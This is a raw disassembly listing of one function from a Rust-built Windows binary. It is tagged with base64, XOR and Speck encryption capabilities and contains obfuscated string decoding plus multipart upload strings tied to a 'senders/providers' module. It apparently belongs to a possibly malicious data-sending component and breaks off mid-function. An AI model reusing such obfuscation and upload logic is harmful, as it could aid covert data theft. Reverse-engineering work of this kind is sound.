Function at 0x140082750
Capabilities:
Check os version
Encode data using base64
Encode data using xor
Encrypt data using speck

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1598
call fcn.140329ca0
sub rsp, rax
movaps xmmword [rsp + 0x1580], xmm7
movaps xmmword [rsp + 0x1570], xmm6
mov r15, r9
mov rbp, r8
mov r13, rcx
test dl, dl
je 0x140082814
movzx eax, dl
cmp eax, 2
jne 0x140084531
lea rax, [0x14043f0c0]
mov qword [rsp + 0x140], rax
mov rax, qword [0x14043f0d8]
cmp rax, 3
jne 0x140083cd2
movzx eax, byte [0x14043f240]
mov edx, 0x18
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x14008451d
mov r12, rax
mov rdi, qword [0x14043f0c8]
mov rsi, qword [0x14043f0d0]
test rsi, rsi
je 0x1400829fa
js 0x14008452c
movzx eax, byte [0x14043f240]
xor ecx, ecx
mov rdx, rsi
call fcn.1401d3670
test rax, rax
je 0x140084536
mov r14, rax
jmp 0x140082a00
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x298], 1
mov qword [rsp + 0x2a0], 0
lea rax, [0x14043f0c0]
mov qword [rsp + 0x140], rax
mov rax, qword [0x14043f0d8]
cmp rax, 3
jne 0x140083c84
movzx eax, byte [0x14043f240]
mov edx, 0x18
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x14008451d
mov rbx, rax
mov rsi, qword [0x14043f0c8]
mov rax, qword [0x14043f0d0]
mov qword [rsp + 0x110], rax
test rax, rax
je 0x1400828c2
js 0x14008452c
mov r14, rbp
movzx eax, byte [0x14043f240]
xor ecx, ecx
mov rdx, qword [rsp + 0x110]
call fcn.1401d3670
test rax, rax
je 0x140084543
mov rdi, rax
mov rbp, r13
jmp 0x1400828cd
mov r14, rbp
mov rbp, r13
mov edi, 1
mov rcx, rdi
mov rdx, rsi
mov r13, qword [rsp + 0x110]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx], r13
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], r13
mov rdi, qword [r15 + 0x10]
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, rdi
mul rcx
mov rsi, rdx
shr rsi, 1
lea r12, [rsi*4]
lea rcx, [rsi + rsi*2]
mov r8, rdi
mov rax, rcx
mov qword [rsp + 0x38], rcx
sub r8, rcx
mov r10, r12
add r10, 4
setb r9b
xor ecx, ecx
mov rax, rdi
sub rax, 0x1a
cmovae rcx, rax
mov qword [rsp + 0x88], rcx
test r8, r8
setne dl
mov qword [rsp + 0x58], r8
mov rcx, r8
xor rcx, 3
setne r11b
movabs rax, 0x8000000000000000
cmp r13, rax
mov r8, rbx
mov r13, rbp
mov rbp, r14
je 0x140086f6f
mov rbx, qword [r15 + 8]
mov rax, qword [rbp + 8]
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x50], rbp
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x310], rax
mov r15, qword [r8 + 8]
mov qword [rsp + 0x3a0], r8
mov rbp, qword [r8 + 0x10]
test rdi, rdi
mov qword [rsp + 0x48], r13
mov byte [rsp + 0x108], dl
mov qword [rsp + 0x2a8], rcx
mov qword [rsp + 0x3b8], r10
mov byte [rsp + 0x47], r9b
je 0x140082aaf
js 0x1400845d4
mov r14d, r11d
movzx eax, byte [0x14043f240]
xor ecx, ecx
mov rdx, rdi
call fcn.1401d3670
test rax, rax
je 0x1400845e8
mov r13, rax
jmp 0x140082ab8
mov r14d, 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [r12], rsi
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rsi
movabs r14, 0x8000000000000000
cmp rsi, r14
je 0x14008448d
mov qword [rsp + 0x48], r13
mov r14, qword [r15 + 8]
mov r15, qword [r15 + 0x10]
mov rax, r12
mov r12, qword [rbp + 8]
mov qword [rsp + 0x50], rbp
mov r13, qword [rbp + 0x10]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x38], rax
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x358]
call fcn.14014caf0
mov ebp, 1
test r15, r15
mov qword [rsp + 0x110], rdi
je 0x140082b73
js 0x1400845de
movzx eax, byte [0x14043f240]
xor ecx, ecx
mov rdx, r15
call fcn.1401d3670
test rax, rax
je 0x1400845f5
mov rdi, rax
mov rbx, r15
jmp 0x140082b7a
mov r14d, r11d
mov r13d, 1
mov rcx, r13
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [rsp + 0x230], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x190], xmm0
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x140], xmm0
cmp rbp, 0x100
mov eax, pe_nt_image_headers64
cmovb rax, rbp
test rbp, rbp
je 0x140084644
cmp rbp, 7
ja 0x140083a1e
xor ecx, ecx
jmp 0x14008462d
xor ebx, ebx
mov edi, 1
mov rcx, rdi
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xd70], rbx
mov qword [rsp + 0xd78], rdi
mov qword [rsp + 0xd80], r15
lea rbx, [rsp + 0x3d0]
lea rdx, [rsp + 0xd70]
mov rcx, rbx
call fcn.140037340
movaps xmm6, xmmword [rsp + 0x3d0]
mov rdi, qword [rsp + 0x3e0]
mov r14, qword [rsp + 0x3e8]
test r13, r13
je 0x140082bf8
js 0x14008452c
movzx eax, byte [0x14043f240]
xor ecx, ecx
mov rdx, r13
call fcn.1401d3670
test rax, rax
je 0x140084602
mov rbp, rax
lea r15, [rsp + 0x400]
mov rcx, rbp
mov rdx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [rsp + 0xcb0], xmm0
movups xmm0, xmmword [rsp + 0xdb0]
movups xmmword [r15 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xd70]
movups xmm1, xmmword [rsp + 0xd80]
movups xmm2, xmmword [rsp + 0xd90]
movups xmm3, xmmword [rsp + 0xda0]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movups xmm0, xmmword [rsp + 0x140]
movups xmmword [r15 + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0xcb0]
movups xmmword [r15 + 0x78], xmm0
movzx eax, word [rsp + 0xbd4]
mov word [r15 + 0xae], ax
mov eax, dword [rsp + 0xbd0]
mov dword [r15 + 0xaa], eax
mov qword [rsp + 0x3d0], 1
movups xmmword [rsp + 0x3d8], xmm6
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], r14
mov qword [rsp + 0x3f8], 2
mov qword [rsp + 0x450], 0
mov qword [rsp + 0x468], 0
mov qword [rsp + 0x470], 8
mov qword [rsp + 0x488], 8
mov qword [rsp + 0x490], 0
mov qword [rsp + 0x498], 2
mov qword [rsp + 0x4a0], 0
mov word [rsp + 0x4a8], 0
mov qword [rsp + 0x4b0], r13
mov qword [rsp + 0x4b8], rbp
mov qword [rsp + 0x4c0], r13
movzx eax, byte [0x14043f240]
mov edx, 0x18
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x140084555
mov r13, rax
lea rbp, [rsp + 0x3e0]
movdqu xmm0, xmmword [str.application_octet_streamhello_src_sendersprovidersdc.rs]
movdqa xmm1, xmmword [0x14033aba0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [0x14033abb0]
pminub xmm2, xmm1
pcmpeqb xmm2, xmm1
pand xmm2, xmmword [0x14033abc0]
por xmm2, xmm0
movdqu xmmword [rax], xmm2
movabs rax, 0x6d61657274732d74
movq xmm0, rax
movdqa xmm1, xmmword [0x14033abd0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [0x14033abe0]
pmaxub xmm2, xmm1
pcmpeqb xmm2, xmm1
pandn xmm2, xmmword [0x14033abf0]
por xmm2, xmm0
movq qword [r13 + 0x10], xmm2
mov eax, dword [rsp + 0xd70]
mov ecx, dword [rsp + 0xd73]
mov dword [rsp + 0x143], ecx
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x140]
mov ecx, dword [rsp + 0x143]
mov dword [rsp + 0xbd3], ecx
mov dword [rsp + 0xbd0], eax
mov rdx, qword [rsp + 0x3f8]
mov rdi, qword [rsp + 0x408]
mov r12, qword [rsp + 0x410]
movzx ecx, byte [rsp + 0x428]
mov rax, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
movups xmm0, xmmword [rsp + 0x450]
movups xmm1, xmmword [rsp + 0x460]
movups xmm2, xmmword [rsp + 0x470]
movups xmm3, xmmword [rsp + 0x480]
movaps xmmword [rsp + 0xd70], xmm0
movaps xmmword [rsp + 0xd80], xmm1
movaps xmmword [rsp + 0xd90], xmm2
movaps xmmword [rsp + 0xda0], xmm3
movups xmm0, xmmword [rsp + 0x490]
movaps xmmword [rsp + 0xdb0], xmm0
movups xmm0, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0xdc0], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0xdd0], xmm0
mov r9, qword [rsp + 0x4c0]
mov qword [rsp + 0xde0], r9
cmp rdx, 2
je 0x140082f14
mov r14, rbx
test cl, cl
movabs rbx, 0x8000000000000000
je 0x140082ee2
test rax, rax
je 0x140082ee2
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rdi
xor rax, rbx
cmp rax, 3
setb cl
cmp rax, 1
setne al
test cl, al
mov rbx, r14
jne 0x140082f14
test rdi, rdi
je 0x140082f14
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0xbd0]
mov ecx, dword [rsp + 0xbd3]
mov dword [rsp + 0x93], ecx
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x1b0], rax
movaps xmm0, xmmword [rsp + 0xdd0]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [rsp + 0xdc0]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [rsp + 0xdb0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [rsp + 0xd70]
movaps xmm1, xmmword [rsp + 0xd80]
movaps xmm2, xmmword [rsp + 0xd90]
movaps xmm3, xmmword [rsp + 0xda0]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov r14, qword [rsp + 0x3d0]
mov rdi, qword [rsp + 0x3d8]
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0xcc0], rax
cmp r14, 2
je 0x140084564
mov rax, qword [rsp + 0xcc0]
mov qword [rsp + 0x380], rax
movaps xmm0, xmmword [rsp + 0xcb0]
movaps xmmword [rsp + 0x370], xmm0
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x93]
mov dword [rsp + 0x318], eax
mov dword [rsp + 0x31b], ecx
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xbd0], xmm0
movaps xmmword [rsp + 0xbe0], xmm1
movaps xmmword [rsp + 0xbf0], xmm2
movaps xmmword [rsp + 0xc00], xmm3
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xc10], xmm0
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xc20], xmm0
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xc30], xmm0
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xc40], rax
mov eax, dword [0x14043f660]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov bpl, 1
cmp byte [rax + 0x20], 0
mov al, 1
je 0x140083d20
mov ecx, dword [0x14043f660]
mov rdx, qword gs:[0x58]
mov rdx, qword [rdx + rcx*8]
mov rcx, qword [rdx + 0x28]
mov r8, rcx
shr r8, 0xc
xor r8, rcx
mov r9, r8
shl r9, 0x19
xor r9, r8
mov rcx, r9
shr rcx, 0x1b
xor rcx, r9
mov qword [rdx + 0x28], rcx
movabs r12, 0x2545f4914f6cdd1d
mov rdx, rcx
imul rdx, r12
mov qword [rsp + 0x118], rdx
test al, 1
je 0x140083d44
mov rax, rcx
shr rax, 0xc
xor rax, rcx
mov rdx, rax
shl rdx, 0x19
xor rdx, rax
mov rcx, rdx
shr rcx, 0x1b
xor rcx, rdx
mov eax, dword [0x14043f660]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0x28], rcx
mov rax, rcx
imul rax, r12
mov qword [rsp + 0x330], rax
mov al, 1
test bpl, 1
je 0x140083d6f
lea rbp, [rsp + 0xd98]
mov rdx, rcx
shr rdx, 0xc
xor rdx, rcx
mov r8, rdx
shl r8, 0x19
xor r8, rdx
mov rcx, r8
shr rcx, 0x1b
xor rcx, r8
mov edx, dword [0x14043f660]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x28], rcx
mov rdx, rcx
imul rdx, r12
mov qword [rsp + 0x60], rdx
test al, 1
je 0x140083d9a
mov rax, rcx
shr rax, 0xc
xor rax, rcx
mov rcx, rax
shl rcx, 0x19
xor rcx, rax
mov rax, rcx
shr rax, 0x1b
xor rax, rcx
mov ecx, dword [0x14043f660]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x28], rax
imul rax, r12
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x140], rax
lea rax, [fcn.14003b5c0]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x330]
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], rax
lea r12, [rsp + 0x90]
mov qword [rsp + 0x170], r12
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x3d0], 2
mov qword [rsp + 0x3e0], 0
mov qword [rsp + 0x3e8], 0x10
mov qword [rsp + 0x3f0], 0
movabs rax, 0x800000020
mov qword [rsp + 0x3f8], rax
mov byte [rsp + 0x400], 3
mov qword [rsp + 0x408], 2
mov qword [rsp + 0x418], 0
mov qword [rsp + 0x420], 0x10
mov qword [rsp + 0x428], 1
mov qword [rsp + 0x430], rax
mov byte [rsp + 0x438], 3
mov qword [rsp + 0x440], 2
mov qword [rsp + 0x450], 0
mov qword [rsp + 0x458], 0x10
mov qword [rsp + 0x460], 2
mov qword [rsp + 0x468], rax
mov byte [rsp + 0x470], 3
mov qword [rsp + 0x478], 2
mov qword [rsp + 0x488], 0
mov qword [rsp + 0x490], 0x10
mov qword [rsp + 0x498], 3
mov qword [rsp + 0x4a0], rax
mov byte [rsp + 0x4a8], 3
lea rax, [0x1403cfcc8]
mov qword [rsp + 0xcb0], rax
mov qword [rsp + 0xcb8], 4
mov qword [rsp + 0xcd0], rbx
mov qword [rsp + 0xcd8], 4
lea rax, [rsp + 0x140]
mov qword [rsp + 0xcc0], rax
mov qword [rsp + 0xcc8], 4
lea rcx, [rsp + 0xd70]
lea rdx, [rsp + 0xcb0]
call fcn.140035930
mov qword [rsp + 0xd88], 0
mov qword [rsp + 0xd90], 8
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rsp + 0xda8], 8
mov qword [rsp + 0xdb0], 0
mov byte [rsp + 0xdb8], 0
mov rax, qword [rsp + 0xdb0]
mov qword [rsp + 0x410], rax
movzx eax, byte [rsp + 0xdb8]
mov byte [rsp + 0x418], al
mov eax, dword [rsp + 0xdb9]
mov dword [rsp + 0x419], eax
movzx eax, word [rsp + 0xdbd]
mov word [rsp + 0x41d], ax
movzx eax, byte [rsp + 0xdbf]
mov byte [rsp + 0x41f], al
mov rax, qword [rsp + 0xda0]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0x408], rax
movups xmm0, xmmword [rsp + 0xd70]
movups xmm1, xmmword [rsp + 0xd80]
movups xmm2, xmmword [rsp + 0xd90]
movaps xmmword [rsp + 0x3f0], xmm2
movaps xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
mov rbp, qword [rsp + 0x410]
cmp rbp, qword [rsp + 0x400]
jne 0x1400834d1
mov rcx, r15
call fcn.140088220
mov rax, qword [rsp + 0x408]
imul rcx, rbp, 0x110
movabs rdx, 0x8000000000000000
mov qword [rax + rcx], rdx
lea rdx, [0x140402a21]
mov qword [rax + rcx + 8], rdx
mov qword [rax + rcx + 0x10], 4
mov qword [rax + rcx + 0x18], r14
mov qword [rax + rcx + 0x20], rdi
movaps xmm0, xmmword [rsp + 0x370]
movups xmmword [rax + rcx + 0x28], xmm0
mov rdx, qword [rsp + 0x380]
mov qword [rax + rcx + 0x38], rdx
mov qword [rax + rcx + 0x40], 0
mov qword [rax + rcx + 0x48], 0xc
movabs rdx, 0x8000000000000002
mov qword [rax + rcx + 0x50], rdx
mov byte [rax + rcx + 0x70], 1
mov edx, dword [rsp + 0x318]
mov r8d, dword [rsp + 0x31b]
mov dword [rax + rcx + 0x71], edx
mov dword [rax + rcx + 0x74], r8d
mov qword [rax + rcx + 0x78], 0x18
mov qword [rax + rcx + 0x80], r13
mov qword [rax + rcx + 0x88], 0x18
mov qword [rax + rcx + 0x90], 0xb
movaps xmm0, xmmword [rsp + 0xbd0]
movaps xmm1, xmmword [rsp + 0xbe0]
movaps xmm2, xmmword [rsp + 0xbf0]
movaps xmm3, xmmword [rsp + 0xc00]
movups xmmword [rax + rcx + 0x98], xmm0
movups xmmword [rax + rcx + 0xa8], xmm1
movups xmmword [rax + rcx + 0xb8], xmm2
movups xmmword [rax + rcx + 0xc8], xmm3
movaps xmm0, xmmword [rsp + 0xc10]
movups xmmword [rax + rcx + 0xd8], xmm0
movaps xmm0, xmmword [rsp + 0xc20]
movups xmmword [rax + rcx + 0xe8], xmm0
movaps xmm0, xmmword [rsp + 0xc30]
movups xmmword [rax + rcx + 0xf8], xmm0
mov rdx, qword [rsp + 0xc40]
mov qword [rax + rcx + 0x108], rdx
inc rbp
mov qword [rsp + 0x410], rbp
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmm1, xmmword [rsp + 0x3e0]
movaps xmm2, xmmword [rsp + 0x3f0]
movaps xmm3, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0x2e0], xmm3
movaps xmmword [rsp + 0x2d0], xmm2
movaps xmmword [rsp + 0x2c0], xmm1
movaps xmmword [rsp + 0x2b0], xmm0
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x2f8], rax
lea rcx, [rsp + 0x140]
mov rdi, qword [rsp + 0x110]
mov rdx, rdi
mov r8, qword [rsp + 0x100]
call fcn.140188530
test rsi, rsi
je 0x1400836b0
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs r14, 0x8000000000000000
cmp qword [rsp + 0x140], r14
mov rbp, qword [rsp + 0x50]
mov r13, qword [rsp + 0x48]
jne 0x1400836e8
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x3d8], rax
mov eax, 2
jmp 0x1400837ee
lea rax, [rsp + 0x420]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rsp + 0x3f8], 0
mov qword [rsp + 0x410], 0
mov qword [rsp + 0x418], 8
mov qword [rsp + 0x430], 8
mov qword [rsp + 0x438], 0
mov qword [rsp + 0x440], 2
mov qword [rsp + 0x448], 0
mov word [rsp + 0x450], 0
mov dword [rax + 0xa4], 0
mov dword [rax + 0xa1], 0
mov qword [rsp + 0x4e0], 2
mov rcx, qword [rsp + 0x190]
mov qword [r15 + 0xa8], rcx
movups xmm1, xmmword [rsp + 0x180]
movups xmmword [r15 + 0x98], xmm1
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movups xmm4, xmmword [rsp + 0x170]
movups xmmword [r15 + 0x88], xmm4
movups xmmword [r15 + 0x78], xmm3
movups xmmword [r15 + 0x68], xmm2
movups xmmword [r15 + 0x58], xmm1
mov dword [rsp + 0x4b8], 0x3b9aca00
mov byte [rsp + 0x4c0], 2
movups xmmword [rax + 0xa8], xmm0
mov byte [rsp + 0x4d8], 2
xor eax, eax
mov qword [rsp + 0x3d0], rax
mov rdx, qword [rsp + 0x358]
mov rax, qword [rsp + 0x360]
mov ecx, dword [rsp + 0x368]
lock inc qword [rdx]
jle 0x1400871c9
mov qword [rsp + 0x140], rdx
mov qword [rsp + 0x148], rax
mov dword [rsp + 0x150], ecx
lea rcx, [rsp + 0xd70]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x3d0]
call fcn.140166ec0
movups xmm0, xmmword [rsp + 0x2b8]
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x60], r12
lea rax, [0x14019c350]
mov qword [rsp + 0x68], rax
lea rax, str.multipart_form_data__boundary
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x140]
call fcn.140035930
cmp dword [rsp + 0xd70], 2
mov r12, qword [rsp + 0x38]
je 0x140083e86
lea rsi, [rsp + 0xd98]
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
movups xmm0, xmmword [0x1403cee08]
movaps xmmword [rsp + 0x340], xmm0
movups xmm0, xmmword [0x1403cedf8]
movaps xmmword [rsp + 0x330], xmm0
test r8, r8
je 0x140083a2b
lea r12, [rsp + 0x348]
lea r15, [rsp + 0xea0]
lea rdi, [rsp + 0xd78]
xor eax, eax
jmp 0x140083941
cmp cl, 0x7f
je 0x14008394f
inc rax
cmp r8, rax
je 0x140083bed
movzx ecx, byte [rdx + rax]
cmp cl, 0x1f
ja 0x140083930
cmp cl, 9
je 0x140083935
movzx eax, byte [0x14043f240]
mov edx, 2
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x14008461e
mov r13, rax
mov byte [rax], 5
movzx eax, byte [0x14043f240]
mov edx, 0x70
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x140087351
mov r14, rax
movabs rax, 0x8000000000000000
mov qword [r14], rax
mov qword [r14 + 0x58], r13
lea rax, [0x1403d3008]
mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 0
mov rax, qword [rsp + 0x330]
test rax, rax
je 0x1400839d6
mov rdx, qword [rsp + 0x338]
mov r8, qword [rsp + 0x340]
mov rcx, r12
call qword [rax + 0x20]
mov rax, qword [rsp + 0xe80]
cmp rax, 2
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x38]
je 0x140083dff
test rax, rax
je 0x140083dbe
mov rax, qword [rsp + 0xe88]
mov rdx, qword [rsp + 0xe90]
mov r8, qword [rsp + 0xe98]
mov rcx, r15
call qword [rax + 0x20]
jmp 0x140083dff
cmp rbp, 0x20
jae 0x140083a33
xor ecx, ecx
jmp 0x140083bae
xor r8d, r8d
jmp 0x140083bf2
mov ecx, eax
and ecx, 0x1e0
movups xmm1, xmmword [r15]
movups xmm2, xmmword [r15 + 0x10]
movaps xmm0, xmmword [0x14033ac00]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x150], xmm2
cmp rcx, 0x20
je 0x140083b9d
movups xmm1, xmmword [r15 + 0x20]
movups xmm2, xmmword [r15 + 0x30]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x170], xmm2
cmp ecx, 0x40
je 0x140083b9d
movups xmm1, xmmword [r15 + 0x40]
movups xmm2, xmmword [r15 + 0x50]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x190], xmm2
cmp ecx, 0x60
je 0x140083b9d
movups xmm1, xmmword [r15 + 0x60]
movups xmm2, xmmword [r15 + 0x70]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x1b0], xmm2
cmp ecx, 0x80
je 0x140083b9d
movups xmm1, xmmword [r15 + 0x80]
movups xmm2, xmmword [r15 + 0x90]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1d0], xmm2
cmp ecx, 0xa0
je 0x140083b9d
movups xmm1, xmmword [r15 + 0xa0]
movups xmm2, xmmword [r15 + 0xb0]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x1e0], xmm1
movaps xmmword [rsp + 0x1f0], xmm2
cmp ecx, 0xc0
je 0x140083b9d
movups xmm1, xmmword [r15 + 0xc0]
movups xmm2, xmmword [r15 + 0xd0]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x210], xmm2
cmp ecx, 0xe0
je 0x140083b9d
movups xmm1, xmmword [r15 + 0xe0]
movups xmm2, xmmword [r15 + 0xf0]
xorps xmm1, xmm0
xorps xmm2, xmm0
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x230], xmm2
cmp rax, rcx
je 0x140084644
test al, 0x18
je 0x14008462d
mov rdx, rcx
mov ecx, eax
and ecx, 0x1f8
movabs r8, 0x1f1f1f1f1f1f1f1f
nop word cs:[rax + rax]
mov r9, qword [r15 + rdx]
xor r9, r8
mov qword [rsp + rdx + 0x140], r9
add rdx, 8
cmp rcx, rdx
jne 0x140083bd0
jmp 0x14008463f
mov r12, qword [rsp + 0x38]
lea rdi, [rsp + 0xb1]
lea rbx, [rsp + 0x161]
lea rcx, [rsp + 0x90]
call fcn.140036ea0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov eax, dword [rdi]
mov ecx, dword [rdi + 3]
mov dword [rbx + 3], ecx
mov dword [rbx], eax
movaps xmm0, xmmword [rsp + 0x330]
movaps xmm1, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x160], 0
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x140]
mov rcx, rsi
call fcn.140167720
cmp al, 2
jne 0x140083e86
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14008742b
lea rax, [rsp + 0x140]
mov qword [rsp + 0xd70], rax
lea rax, [rsp + 0xd70]
mov qword [rsp + 0x3d0], rax
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001flazy_static_1.5.0_srcinline_lazy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14043f0d8]
lea r9, [0x14035b148]
lea r8, [rsp + 0x3d0]
xor edx, edx
call fcn.1403371f0
jmp 0x140082858
lea rax, [rsp + 0x140]
mov qword [rsp + 0xd70], rax
lea rax, [rsp + 0xd70]
mov qword [rsp + 0x3d0], rax
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001flazy_static_1.5.0_srcinline_lazy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14043f0d8]
lea r9, [0x14035b148]
lea r8, [rsp + 0x3d0]
xor edx, edx
call fcn.1403371f0
jmp 0x1400827b6
call fcn.140334400
mov eax, dword [0x14043f660]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x20]
jmp 0x1400830c3
call fcn.140334400
mov eax, dword [0x14043f660]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x28]
movzx ebp, byte [rax + 0x20]
jmp 0x140083123
call fcn.140334400
mov eax, dword [0x14043f660]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x28]
movzx eax, byte [rax + 0x20]
jmp 0x140083176
call fcn.140334400
mov eax, dword [0x14043f660]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x28]
jmp 0x1400831ca
mov r15, qword [rsp + 0xe88]
mov rbx, qword [rsp + 0xe90]
mov rax, qword [rbx]
test rax, rax
